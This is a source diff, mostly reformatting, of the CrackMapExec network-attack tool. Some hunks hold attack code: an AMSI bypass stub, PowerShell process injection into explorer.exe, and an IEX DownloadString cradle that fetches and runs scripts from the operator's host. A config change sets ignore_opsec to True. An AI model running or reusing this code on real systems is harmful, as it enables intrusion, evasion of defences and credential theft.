if not os.path.exists(CONFIG_PATH):
|
||||
if not exists(CONFIG_PATH):
|
||||
print("[-] Unable to find config file")
|
||||
sys.exit(1)
|
||||
try:
|
||||
|
||||
+17
-8
@@ -3,7 +3,8 @@
|
||||
|
||||
import random
|
||||
import socket
|
||||
import sys
|
||||
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
|
||||
from socket import getaddrinfo
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
@@ -21,14 +22,12 @@ user_failed_logins = {}
|
||||
|
||||
def gethost_addrinfo(hostname):
|
||||
try:
|
||||
for res in socket.getaddrinfo(hostname, None, socket.AF_INET6,
|
||||
socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME):
|
||||
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
except socket.gaierror:
|
||||
for res in socket.getaddrinfo(hostname, None, socket.AF_INET,
|
||||
socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME):
|
||||
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
if canonname == '':
|
||||
if canonname == "":
|
||||
return sa[0]
|
||||
return canonname
|
||||
|
||||
@@ -38,6 +37,7 @@ def requires_admin(func):
|
||||
if self.admin_privs is False:
|
||||
return
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
@@ -103,7 +103,16 @@ class connection(object):
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
@@ -140,7 +149,7 @@ class connection(object):
|
||||
"module_name": module.name.upper(),
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": self.hostname
|
||||
"hostname": self.hostname,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
+1
-4
@@ -1,6 +1,3 @@
|
||||
from rich.console import Console
|
||||
|
||||
cme_console = Console(
|
||||
soft_wrap=True,
|
||||
tab_size=4
|
||||
)
|
||||
cme_console = Console(soft_wrap=True, tab_size=4)
|
||||
|
||||
+2
-2
@@ -11,11 +11,11 @@ class Context:
|
||||
setattr(self, key, value)
|
||||
|
||||
self.db = db
|
||||
self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs')
|
||||
self.log_folder_path = os.path.join(os.path.expanduser("~/.cme"), "logs")
|
||||
self.localip = None
|
||||
|
||||
self.conf = configparser.ConfigParser()
|
||||
self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
|
||||
self.conf.read(os.path.expanduser("~/.cme/cme.conf"))
|
||||
|
||||
self.log = logger
|
||||
# self.log.debug = logging.debug
|
||||
|
||||
+44
-34
@@ -15,16 +15,17 @@ from cme.paths import CME_PATH, DATA_PATH
|
||||
from cme.console import cme_console
|
||||
from cme.logger import cme_logger
|
||||
from cme.config import cme_config, cme_workspace, config_log, ignore_opsec
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import asyncio
|
||||
import cme.helpers.powershell as powershell
|
||||
import shutil
|
||||
import webbrowser
|
||||
import random
|
||||
import os
|
||||
import sys
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
import logging
|
||||
import concurrent.futures
|
||||
import sqlalchemy
|
||||
from rich.progress import Progress
|
||||
|
||||
@@ -32,15 +33,11 @@ try:
|
||||
import librlers
|
||||
except:
|
||||
print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
db_engine = sqlalchemy.create_engine(
|
||||
f"sqlite:///{db_path}",
|
||||
isolation_level="AUTOCOMMIT",
|
||||
future=True
|
||||
)
|
||||
db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
return db_engine
|
||||
|
||||
|
||||
@@ -57,11 +54,11 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
f"[green]Running CME against {total} {'target' if total == 1 else 'targets'}",
|
||||
total=total
|
||||
total=total,
|
||||
)
|
||||
cme_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
for future in as_completed(futures):
|
||||
current += 1
|
||||
progress.update(tasks, completed=current)
|
||||
|
||||
@@ -81,7 +78,8 @@ def main():
|
||||
cme_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
# if these are the same, it might double log to file (two FileHandlers will be added), but this should never happen by accident
|
||||
# if these are the same, it might double log to file (two FileHandlers will be added)
|
||||
# but this should never happen by accident
|
||||
if config_log:
|
||||
cme_logger.add_file_log()
|
||||
if hasattr(args, "log") and args.log:
|
||||
@@ -90,23 +88,23 @@ def main():
|
||||
cme_logger.debug(f"Passed args: {args}")
|
||||
|
||||
if args.darrell:
|
||||
links = open(os.path.join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines()
|
||||
links = open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines()
|
||||
try:
|
||||
webbrowser.open(random.choice(links))
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
except Exception as e:
|
||||
cme_logger.error(f"Error opening le dank meme: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "ssh":
|
||||
if args.key_file:
|
||||
if not args.password:
|
||||
cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
cme_logger.error("KRB5CCNAME environment variable is not set")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
module_server = None
|
||||
targets = []
|
||||
@@ -122,11 +120,11 @@ def main():
|
||||
args.cred_id.remove(cred_id)
|
||||
except Exception as e:
|
||||
cme_logger.error(f"Error parsing database credential id: {e}")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
if hasattr(args, "target") and args.target:
|
||||
for target in args.target:
|
||||
if os.path.exists(target):
|
||||
if exists(target):
|
||||
target_file_type = identify_target_file(target)
|
||||
if target_file_type == "nmap":
|
||||
targets.extend(parse_nmap_xml(target, args.protocol))
|
||||
@@ -160,7 +158,7 @@ def main():
|
||||
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), "database")
|
||||
cme_logger.debug(f"Protocol DB Object: {protocol_db_object}")
|
||||
|
||||
db_path = os.path.join(CME_PATH, "workspaces", cme_workspace, args.protocol + ".db")
|
||||
db_path = path_join(CME_PATH, "workspaces", cme_workspace, f"{args.protocol}.db")
|
||||
cme_logger.debug(f"DB Path: {db_path}")
|
||||
|
||||
db_engine = create_db_engine(db_path)
|
||||
@@ -177,11 +175,11 @@ def main():
|
||||
for name, props in sorted(modules.items()):
|
||||
if args.protocol in props["supported_protocols"]:
|
||||
cme_logger.display(f"{name:<25} {props['description']}")
|
||||
sys.exit(0)
|
||||
exit(0)
|
||||
elif args.module and args.show_module_options:
|
||||
for module in args.module:
|
||||
cme_logger.display(f"{module} module options:\n{modules[module]['options']}")
|
||||
sys.exit(0)
|
||||
exit(0)
|
||||
elif args.module:
|
||||
cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
|
||||
for m in map(str.lower, args.module):
|
||||
@@ -198,14 +196,23 @@ def main():
|
||||
cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
|
||||
else:
|
||||
ans = input(
|
||||
highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", 'red'))
|
||||
highlight(
|
||||
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/cme/cme.conf",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
if not module.multiple_hosts and len(targets) > 1:
|
||||
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
if hasattr(module, "on_request") or hasattr(module, "has_response"):
|
||||
if hasattr(module, "required_server"):
|
||||
@@ -223,7 +230,7 @@ def main():
|
||||
cme_logger,
|
||||
args.server_host,
|
||||
args.server_port,
|
||||
args.server
|
||||
args.server,
|
||||
)
|
||||
module_server.start()
|
||||
protocol_object.server = module_server.server
|
||||
@@ -239,14 +246,17 @@ def main():
|
||||
cme_logger.debug(f"proto object module after adding: {protocol_object.module}")
|
||||
|
||||
if hasattr(args, "ntds") and args.ntds and not args.userntds:
|
||||
ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red'))
|
||||
if ans.lower() not in ['y', 'yes', '']:
|
||||
sys.exit(1)
|
||||
ans = input(
|
||||
highlight(
|
||||
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
|
||||
"red",
|
||||
)
|
||||
)
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
try:
|
||||
asyncio.run(
|
||||
start_run(protocol_object, args, db, targets)
|
||||
)
|
||||
asyncio.run(start_run(protocol_object, args, db, targets))
|
||||
except KeyboardInterrupt:
|
||||
cme_logger.debug("Got keyboard interrupt")
|
||||
finally:
|
||||
|
||||
+2
-2
@@ -4,7 +4,7 @@ last_used_db = smb
|
||||
pwn3d_label = Pwn3d!
|
||||
audit_mode =
|
||||
log_mode = False
|
||||
ignore_opsec = False
|
||||
ignore_opsec = True
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
@@ -17,7 +17,7 @@ bh_pass = neo4j
|
||||
api_host = 127.0.0.1
|
||||
api_port = 1337
|
||||
username = empireadmin
|
||||
password = Password123!
|
||||
password = password123
|
||||
|
||||
[Metasploit]
|
||||
rpc_host = 127.0.0.1
|
||||
|
||||
+32
-23
@@ -1,7 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
import configparser
|
||||
from configparser import NoSectionError, NoOptionError
|
||||
@@ -11,42 +13,49 @@ from cme.logger import cme_logger
|
||||
|
||||
|
||||
def first_run_setup(logger=cme_logger):
|
||||
if not os.path.exists(TMP_PATH):
|
||||
os.mkdir(TMP_PATH)
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
if not os.path.exists(CME_PATH):
|
||||
logger.display('First time use detected')
|
||||
logger.display('Creating home directory structure')
|
||||
os.mkdir(CME_PATH)
|
||||
if not exists(CME_PATH):
|
||||
logger.display("First time use detected")
|
||||
logger.display("Creating home directory structure")
|
||||
mkdir(CME_PATH)
|
||||
|
||||
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
|
||||
folders = (
|
||||
"logs",
|
||||
"modules",
|
||||
"protocols",
|
||||
"workspaces",
|
||||
"obfuscated_scripts",
|
||||
"screenshots",
|
||||
)
|
||||
for folder in folders:
|
||||
if not os.path.exists(os.path.join(CME_PATH, folder)):
|
||||
if not exists(path_join(CME_PATH, folder)):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
os.mkdir(os.path.join(CME_PATH, folder))
|
||||
mkdir(path_join(CME_PATH, folder))
|
||||
|
||||
initialize_db(logger)
|
||||
|
||||
if not os.path.exists(CONFIG_PATH):
|
||||
logger.display('Copying default configuration file')
|
||||
default_path = os.path.join(DATA_PATH, 'cme.conf')
|
||||
if not exists(CONFIG_PATH):
|
||||
logger.display("Copying default configuration file")
|
||||
default_path = path_join(DATA_PATH, "cme.conf")
|
||||
shutil.copy(default_path, CME_PATH)
|
||||
else:
|
||||
# This is just a quick check to make sure the config file isn't the old 3.x format
|
||||
try:
|
||||
config = configparser.ConfigParser()
|
||||
config.read(CONFIG_PATH)
|
||||
config.get('CME', 'workspace')
|
||||
config.get('CME', 'pwn3d_label')
|
||||
config.get('CME', 'audit_mode')
|
||||
config.get('BloodHound', 'bh_enabled')
|
||||
config.get('CME', 'log_mode')
|
||||
config.get("CME", "workspace")
|
||||
config.get("CME", "pwn3d_label")
|
||||
config.get("CME", "audit_mode")
|
||||
config.get("BloodHound", "bh_enabled")
|
||||
config.get("CME", "log_mode")
|
||||
except (NoSectionError, NoOptionError):
|
||||
logger.display('Old configuration file detected, replacing with new version')
|
||||
default_path = os.path.join(DATA_PATH, 'cme.conf')
|
||||
logger.display("Old configuration file detected, replacing with new version")
|
||||
default_path = path_join(DATA_PATH, "cme.conf")
|
||||
shutil.copy(default_path, CME_PATH)
|
||||
|
||||
# if not os.path.exists(CERT_PATH):
|
||||
# if not exists(CERT_PATH):
|
||||
# logger.display('Generating SSL certificate')
|
||||
# try:
|
||||
# check_output(['openssl', 'help'], stderr=PIPE)
|
||||
@@ -57,8 +66,8 @@ def first_run_setup(logger=cme_logger):
|
||||
# except OSError as e:
|
||||
# if e.errno == errno.ENOENT:
|
||||
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
|
||||
# default_path = os.path.join(DATA_PATH, 'default.pem')
|
||||
# shutil.copy(default_path, CERT_PATH)
|
||||
# default_path = path_join(DATA_PATH, 'default.pem')
|
||||
# shutil.copy(default_path, CERT_PATH)
|
||||
# else:
|
||||
# logger.error('Error while generating SSL certificate: {}'.format(e))
|
||||
# sys.exit(1)
|
||||
|
||||
+1
-1
@@ -5,5 +5,5 @@ from cme.paths import DATA_PATH
|
||||
|
||||
|
||||
def get_script(path):
|
||||
with open(os.path.join(DATA_PATH, path), 'r') as script:
|
||||
with open(os.path.join(DATA_PATH, path), "r") as script:
|
||||
return script.read()
|
||||
|
||||
+26
-25
@@ -1,54 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
def add_user_bh(user, domain, logger, config):
|
||||
users_owned = []
|
||||
if isinstance(user, str):
|
||||
users_owned.append({'username': user.upper(), 'domain': domain.upper()})
|
||||
users_owned.append({"username": user.upper(), "domain": domain.upper()})
|
||||
else:
|
||||
users_owned = user
|
||||
if config.get('BloodHound', 'bh_enabled') != "False":
|
||||
if config.get("BloodHound", "bh_enabled") != "False":
|
||||
try:
|
||||
from neo4j.v1 import GraphDatabase
|
||||
except:
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
|
||||
|
||||
driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False)
|
||||
driver = GraphDatabase.driver(
|
||||
uri,
|
||||
auth=(
|
||||
config.get("BloodHound", "bh_user"),
|
||||
config.get("BloodHound", "bh_pass"),
|
||||
),
|
||||
encrypted=False,
|
||||
)
|
||||
try:
|
||||
with driver.session() as session:
|
||||
with session.begin_transaction() as tx:
|
||||
for info in users_owned:
|
||||
if info['username'][-1] == '$':
|
||||
user_owned = info['username'][:-1] + "." + info['domain']
|
||||
account_type = 'Computer'
|
||||
if info["username"][-1] == "$":
|
||||
user_owned = info["username"][:-1] + "." + info["domain"]
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = info['username'] + "@" + info['domain']
|
||||
account_type = 'User'
|
||||
user_owned = info["username"] + "@" + info["domain"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(
|
||||
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) RETURN c"
|
||||
)
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
|
||||
|
||||
if result.data()[0]['c'].get('owned') in (False, None):
|
||||
logger.debug(
|
||||
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
|
||||
)
|
||||
result = tx.run(
|
||||
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
|
||||
)
|
||||
if result.data()[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
|
||||
except AuthError as e:
|
||||
logger.error(
|
||||
f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid."
|
||||
)
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
return
|
||||
except ServiceUnavailable as e:
|
||||
logger.error(f"Neo4J does not seem to be available on {uri}.")
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.error("Unexpected error with Neo4J")
|
||||
logger.error("Account not found on the domain")
|
||||
logger.fail("Unexpected error with Neo4J")
|
||||
logger.fail("Account not found on the domain")
|
||||
return
|
||||
driver.close()
|
||||
driver.close()
|
||||
|
||||
+10
-10
@@ -3,22 +3,22 @@
|
||||
|
||||
import random
|
||||
|
||||
def get_desktop_uagent(uagent=None):
|
||||
|
||||
def get_desktop_uagent(uagent=None):
|
||||
desktop_uagents = {
|
||||
"MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
|
||||
"MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
|
||||
"MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
|
||||
"MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
|
||||
"Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
|
||||
"Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
|
||||
"MSIE9.0": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
|
||||
"MSIE8.0": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
|
||||
"MSIE7.0": "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
|
||||
"MSIE6.0": "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
|
||||
"Chrome32": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
|
||||
"Chrome31": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
|
||||
"Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
|
||||
"Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,",
|
||||
"Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
|
||||
"Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
|
||||
"Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16",
|
||||
}
|
||||
|
||||
if not uagent:
|
||||
if not uagent:
|
||||
return desktop_uagents[random.choice(desktop_uagents.keys())]
|
||||
elif uagent:
|
||||
return desktop_uagents[uagent]
|
||||
return desktop_uagents[uagent]
|
||||
|
||||
+12
-12
@@ -9,19 +9,19 @@ import os
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
with open(target_file, 'r') as target_file_handle:
|
||||
with open(target_file, "r") as target_file_handle:
|
||||
for i, line in enumerate(target_file_handle):
|
||||
if i == 1:
|
||||
if line.startswith('<NessusClientData'):
|
||||
return 'nessus'
|
||||
elif line.endswith('nmaprun>\n'):
|
||||
return 'nmap'
|
||||
if line.startswith("<NessusClientData"):
|
||||
return "nessus"
|
||||
elif line.endswith("nmaprun>\n"):
|
||||
return "nmap"
|
||||
|
||||
return 'unknown'
|
||||
return "unknown"
|
||||
|
||||
|
||||
def gen_random_string(length=10):
|
||||
return ''.join(random.sample(string.ascii_letters, int(length)))
|
||||
return "".join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
@@ -34,11 +34,11 @@ def validate_ntlm(data):
|
||||
|
||||
def called_from_cmd_args():
|
||||
for stack in inspect.stack():
|
||||
if stack[3] == 'print_host_info':
|
||||
if stack[3] == "print_host_info":
|
||||
return True
|
||||
if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login':
|
||||
if stack[3] == "plaintext_login" or stack[3] == "hash_login" or stack[3] == "kerberos_login":
|
||||
return True
|
||||
if stack[3] == 'call_cmd_args':
|
||||
if stack[3] == "call_cmd_args":
|
||||
return True
|
||||
return False
|
||||
|
||||
@@ -53,12 +53,12 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
path.
|
||||
Note: This function was backported from the Python 3 source code.
|
||||
"""
|
||||
|
||||
# Check that a given file can be accessed with the correct mode.
|
||||
# Additionally check that `file` is not a directory, as on Windows
|
||||
# directories pass the os.access check.
|
||||
def _access_check(fn, mode):
|
||||
return (os.path.exists(fn) and os.access(fn, mode) and
|
||||
not os.path.isdir(fn))
|
||||
return os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn)
|
||||
|
||||
# If we're given a path with a directory part, look it up directly
|
||||
# rather than referring to PATH directories. This includes checking
|
||||
|
||||
+1850
-1850
File diff suppressed because it is too large
Load Diff
+93
-98
@@ -19,42 +19,41 @@ def get_ps_script(path):
|
||||
|
||||
|
||||
def encode_ps_command(command):
|
||||
return b64encode(command.encode('UTF-16LE')).decode()
|
||||
return b64encode(command.encode("UTF-16LE")).decode()
|
||||
|
||||
|
||||
def is_powershell_installed():
|
||||
if which('powershell'):
|
||||
if which("powershell"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def obfs_ps_script(path_to_script):
|
||||
ps_script = path_to_script.split('/')[-1]
|
||||
obfs_script_dir = os.path.join(CME_PATH, 'obfuscated_scripts')
|
||||
ps_script = path_to_script.split("/")[-1]
|
||||
obfs_script_dir = os.path.join(CME_PATH, "obfuscated_scripts")
|
||||
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
||||
|
||||
if is_powershell_installed() and obfuscate_ps_scripts:
|
||||
|
||||
if os.path.exists(obfs_ps_script):
|
||||
cme_logger.display('Using cached obfuscated Powershell script')
|
||||
with open(obfs_ps_script, 'r') as script:
|
||||
cme_logger.display("Using cached obfuscated Powershell script")
|
||||
with open(obfs_ps_script, "r") as script:
|
||||
return script.read()
|
||||
|
||||
cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')
|
||||
cme_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
|
||||
|
||||
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
|
||||
cme_logger.debug(invoke_obfs_command)
|
||||
|
||||
with open(os.devnull, 'w') as devnull:
|
||||
with open(os.devnull, "w") as devnull:
|
||||
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
|
||||
|
||||
cme_logger.success('Script obfuscated successfully')
|
||||
cme_logger.success("Script obfuscated successfully")
|
||||
|
||||
with open(obfs_ps_script, 'r') as script:
|
||||
with open(obfs_ps_script, "r") as script:
|
||||
return script.read()
|
||||
|
||||
else:
|
||||
with open(get_ps_script(path_to_script), 'r') as script:
|
||||
with open(get_ps_script(path_to_script), "r") as script:
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
@@ -62,7 +61,7 @@ def obfs_ps_script(path_to_script):
|
||||
# strip block comments
|
||||
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
stripped_code = "\n".join([line for line in stripped_code.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
return stripped_code
|
||||
|
||||
@@ -73,7 +72,7 @@ def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi
|
||||
lines = []
|
||||
for line in file_in:
|
||||
lines.append(line)
|
||||
amsi_bypass = ''.join(lines)
|
||||
amsi_bypass = "".join(lines)
|
||||
else:
|
||||
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
try{
|
||||
@@ -82,7 +81,9 @@ try{
|
||||
"""
|
||||
|
||||
if force_ps32:
|
||||
command = amsi_bypass + """
|
||||
command = (
|
||||
amsi_bypass
|
||||
+ """
|
||||
$functions = {{
|
||||
function Command-ToExecute
|
||||
{{
|
||||
@@ -99,12 +100,15 @@ else
|
||||
IEX "$functions"
|
||||
Command-ToExecute
|
||||
}}
|
||||
""".format(command=amsi_bypass + ps_command)
|
||||
""".format(
|
||||
command=amsi_bypass + ps_command
|
||||
)
|
||||
)
|
||||
|
||||
else:
|
||||
command = amsi_bypass + ps_command
|
||||
|
||||
cme_logger.debug('Generated PS command:\n {}\n'.format(command))
|
||||
cme_logger.debug("Generated PS command:\n {}\n".format(command))
|
||||
|
||||
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
|
||||
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
|
||||
@@ -161,10 +165,10 @@ else
|
||||
return command
|
||||
|
||||
|
||||
def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False):
|
||||
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
|
||||
# The following code gives us some control over where and how Invoke-PSInject does its thang
|
||||
# It prioritizes injecting into a process of the active console session
|
||||
ps_code = '''
|
||||
ps_code = """
|
||||
$injected = $False
|
||||
$inject_once = {inject_once}
|
||||
$command = "{command}"
|
||||
@@ -191,14 +195,14 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
|
||||
catch {{}}
|
||||
}}
|
||||
}}
|
||||
'''.format(
|
||||
inject_once='$True' if inject_once else '$False',
|
||||
""".format(
|
||||
inject_once="$True" if inject_once else "$False",
|
||||
command=encode_ps_command(command),
|
||||
procname=procname
|
||||
procname=procname,
|
||||
)
|
||||
|
||||
if context:
|
||||
return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False)
|
||||
return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False)
|
||||
|
||||
return ps_code
|
||||
|
||||
@@ -215,23 +219,24 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
ps_script_name=scripts,
|
||||
command=command if post_back is False else ''
|
||||
command=command if post_back is False else "",
|
||||
).strip()
|
||||
|
||||
elif type(scripts) is list:
|
||||
launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
|
||||
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
|
||||
